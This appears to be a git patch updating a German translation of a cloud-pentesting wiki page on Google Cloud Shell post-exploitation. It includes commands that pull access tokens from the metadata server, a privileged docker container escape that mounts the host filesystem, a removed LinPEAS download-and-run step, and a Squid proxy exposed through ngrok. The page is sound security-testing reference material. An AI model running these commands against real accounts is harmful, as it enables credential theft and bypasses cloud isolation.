From d11d24d6e4e017f5ac3ff7033226dc84b056c6a0 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Dec 2025 11:37:48 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation --- .../gcp-cloud-shell-post-exploitation.md | 70 ++++++++----------- 1 file changed, 29 insertions(+), 41 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index 886758f50..12a971f82 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -10,40 +10,40 @@ Weitere Informationen zu Cloud Shell: ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### Benutzer-Token aus Metadaten abrufen -Hinweis: Die Google Cloud Shell läuft in einem Container; du kannst **easily escape to the host** wie folgt: +Durch einfachen Zugriff auf den Metadata-Server kann man einen Token erhalten, um Zugriff als der aktuell angemeldete Benutzer zu erhalten: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> Früher lief die cloud shell in einem Container mit Zugriff auf den docker socket des Hosts. Jetzt hat Google die Architektur geändert und der cloud shell-Container läuft in einem "Docker in a container"-Setup. Selbst wenn es möglich ist, docker aus der cloud shell zu verwenden, kannst du damit nicht über den docker socket auf den Host entkommen. +> Beachte, dass die Datei `docker.sock` früher unter `/google/host/var/run/docker.sock` lag, jetzt aber nach `/run/docker.sock` verschoben wurde.
-Container escape commands +Docker use / Alte container escape Befehle ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-Dies wird von google nicht als Verwundbarkeit betrachtet, aber es gibt Ihnen einen breiteren Einblick in das, was in dieser Umgebung passiert. - -Außerdem beachten Sie, dass Sie vom Host aus ein Service-Account-Token finden können: +Außerdem war es in der Vergangenheit möglich, ein Token für ein Service Account zu finden, das von der Cloud Shell VM im metadata server verwendet wurde:
-Get service account from metadata +Altes Service Account aus metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -Mit den folgenden scopes: - -
- -Service account scopes abrufen +Mit den folgenden Scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,33 +53,21 @@ https://www.googleapis.com/auth/monitoring.write ```
-Metadaten mit LinPEAS auflisten: -
- -Metadaten mit LinPEAS auflisten -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
- -Nachdem Sie [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) mit dem Token des Service Account verwendet haben, wurden **keine Berechtigungen festgestellt**... ### Als Proxy verwenden -Wenn Sie Ihre google cloud shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder in die .bashrc-Datei einfügen): +Wenn Sie Ihre google cloud shell Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):
-Install Squid proxy +Squid proxy installieren ```bash sudo apt install -y squid ```
-Nur damit Sie wissen: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine **squid.conf**-Datei mit den folgenden Einstellungen: +Zur Info: Squid ist ein HTTP-Proxy-Server. Erstelle eine Datei **squid.conf** mit den folgenden Einstellungen:
@@ -92,7 +80,7 @@ http_access allow all ```
-Kopiere die Datei **squid.conf** nach **/etc/squid** +Kopiere die **squid.conf**-Datei nach **/etc/squid**
@@ -102,11 +90,11 @@ sudo cp squid.conf /etc/squid ```
-Starte abschließend den Squid-Service: +Führe abschließend den squid-Dienst aus:
-Squid-Service starten +Squid-Dienst starten ```bash sudo service squid start ``` @@ -116,19 +104,19 @@ Verwende ngrok, damit der Proxy von außen erreichbar ist:
-Proxy mit ngrok freigeben +Proxy mit ngrok exponieren ```bash ./ngrok tcp 3128 ```
-Nachdem Sie es ausgeführt haben, kopieren Sie die tcp:// URL. Wenn Sie den Proxy im Browser verwenden möchten, empfiehlt es sich, den tcp://-Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browser-Proxy-Einstellungen einzutragen (squid ist ein HTTP-Proxy-Server). +Nach dem Start kopiere die tcp:// URL. Wenn du den proxy aus einem browser betreiben möchtest, wird empfohlen, den tcp://-Teil und die Portangabe zu entfernen und den Port in das Port-Feld der Proxy-Einstellungen deines Browsers einzutragen (squid is a http proxy server). -Für die Nutzung beim Start sollte die Datei .bashrc die folgenden Zeilen enthalten: +Für eine bessere Nutzung beim Start sollte die .bashrc die folgenden Zeilen enthalten:
-In .bashrc für automatischen Start einfügen +Zu .bashrc für automatischen Start hinzufügen ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ @@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Siehe diese Seite für weitere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen. +Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Sieh dir diese Seite für weitere verrückte Ideen an, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen. {{#include ../../../banners/hacktricks-training.md}}